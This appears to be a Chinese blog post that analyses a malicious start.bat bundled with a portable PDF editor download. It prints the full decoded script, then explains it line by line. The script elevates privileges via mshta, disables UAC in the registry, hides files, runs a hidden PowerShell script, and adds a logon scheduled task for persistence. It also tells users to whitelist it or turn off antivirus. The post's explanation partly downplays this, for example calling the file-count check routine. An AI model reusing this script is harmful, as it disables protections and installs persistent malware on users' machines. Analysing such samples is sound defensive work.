在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:
病毒目录

病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:

@echo off

PUSHD %~DP0 & cd /d "%~dp0"
%1 %2

mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:target

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul

cd /d bin 
attrib +s +h PDFeditorPortable.exe

cd /d re\lib

start powershell -windowstyle hidden .\add.ps1 >nul 2>nul

for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i

if %f% equ 5 (
	cd ..
	cd ..
	start PDFeditorPortable.exe
	cd re\lib
	SchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul

) else (
    echo=
	echo 运行过程被杀软干扰,可通过以下方法恢复:
    echo=
	echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件
	echo=
	echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件
	echo=
	pause
)


setlocal enabledelayedexpansion
set line=0
for /f  %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)

set /a B = %A% / 2

set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nul

call CrashReporting2.bat

exit

这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:

代码解析

  1. @echo off: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。

  2. PUSHD %~DP0 & cd /d "%~dp0":

    • PUSHD %~DP0:将当前目录更改为脚本所在的目录。
    • cd /d "%~dp0":确保切换到该目录。
  3. %1 %2: 执行传递给脚本的第一个和第二个参数。

  4. mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof:

    • 使用 mshta 运行 VBScript,以管理员权限重新执行当前脚本,并跳转到 :target 标签。
    • window.close 在执行后关闭窗口。
    • &goto :eof 确保脚本在此处结束,不继续执行后面的代码。
  5. :target: 标签,后面的代码将在跳转到此标签时执行。

  6. 修改注册表:

    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul:
      • 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul:
      • 禁用用户帐户控制 (UAC)。
    • reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul:
      • 关闭安全桌面上的提示。
  7. cd /d bin: 切换到 bin 目录。

  8. attrib +s +h PDFeditorPortable.exe: 将 PDFeditorPortable.exe 文件设置为系统文件和隐藏文件。

  9. cd /d re\lib: 切换到 re\lib 目录。

  10. start powershell -windowstyle hidden .\add.ps1 >nul 2>nul:

    • 在隐藏窗口中启动一个 PowerShell 脚本 add.ps1,并将输出重定向到空设备。
  11. for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i:

    • 计算当前目录及子目录下的文件数量,并将结果存储在变量 f 中。
  12. 条件判断:

    • if %f% equ 5 (...) else (...): 如果文件数量等于 5,则执行括号内的命令,否则执行 else 部分。
    • 如果文件数量为 5,切换到上级目录,启动 PDFeditorPortable.exe,并创建一个名为 CrashReporting 的计划任务。
    • 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
  13. 获取逻辑处理器数量:

    • 通过 wmic cpu get NumberOfLogicalProcessors 获取逻辑处理器数量,并将其存储在变量 A 中。
    • 计算 BA 的一半。
  14. 更新 CrashReporting2.bat 文件:

    • CrashReporting2.bat 文件中的某些内容替换为计算得到的 B 值,并将结果输出到临时文件 temp1126.txt 中,最后移动回原文件。
  15. 调用 CrashReporting2.bat: 执行 CrashReporting2.bat 文件。

  16. exit: 结束批处理脚本的执行。

总结

这个批处理脚本的主要功能是:

  • 修改系统的 UAC 设置以降低安全性。
  • 启动和配置某个 PDF 编辑器。
  • 处理文件数量检查,确保程序正常运行。
  • 更新并执行一个名为 CrashReporting2.bat 的脚本。

由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://blog.csdn.net/GW569453350game/article/details/142697281

Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐